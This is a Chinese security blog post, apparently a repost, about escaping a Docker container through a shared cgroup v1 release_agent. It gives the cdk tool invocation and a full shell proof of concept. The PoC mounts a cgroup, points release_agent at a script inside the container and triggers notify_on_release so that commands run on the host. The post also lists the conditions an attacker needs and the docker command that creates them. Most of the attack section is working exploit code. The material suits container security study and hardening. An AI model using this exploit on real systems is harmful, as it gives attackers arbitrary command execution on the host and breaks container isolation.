【云原生渗透】- 共享Cgroup容器逃逸漏洞

admin 2025年7月1日17:21:47评论2 views字数 1368阅读4分33秒阅读模式

前言漏洞介绍漏洞利用    cdk关于该漏洞的exp    漏洞复现

前言

Linux利用Cgroup实现了对容器的资源限制,利用该特性,我们可以逃逸与宿主机共享Cgroup的容器。

漏洞介绍

该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

漏洞利用

cdk关于该漏洞的exp

  1. 宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash

  2. 容器内部执行 ./cdk run mount-cgroup "touch /tmp/exp-success"

  3. 宿主机中出现/tmp/exp-success文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。

【云原生渗透】- 共享Cgroup容器逃逸漏洞

漏洞复现

以下复现内容参考自:

配置不当导致的容器逃逸 - Kingkk's Blog

https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/

把上面cdk执行的poc提取出来分析:

# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
  1. 创建了一个cgroup,并且通过notify_on_release机制执行容器中的可执行文件。

  2. 通过sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab获取当前容器文件路径在宿主机上的绝对路径。

这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。

该逃逸方法不需要完全的特权模式运行容器,只需要满足:

  1. 以root用户身份在容器内运行

  2. 使用SYS_ADMIN Linux功能运行

  3. 缺少AppArmor配置文件,否则将允许mountsyscall

  4. cgroup v1虚拟文件系统必须以读写方式安装在容器内

# 满足条件运行容器,不需要特权容器
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

下图中,查看CapEff并不是特权容器,exec_on_host.sh为上面的poc内容,在宿主机上执行ps aux,并将结果写入容器的/ouput文件中:

【云原生渗透】- 共享Cgroup容器逃逸漏洞

原文始发于微信公众号(信安文摘):【云原生渗透】- 共享Cgroup容器逃逸漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日17:21:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云原生渗透】- 共享Cgroup容器逃逸漏洞https://cn-sec.com/archives/866886.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息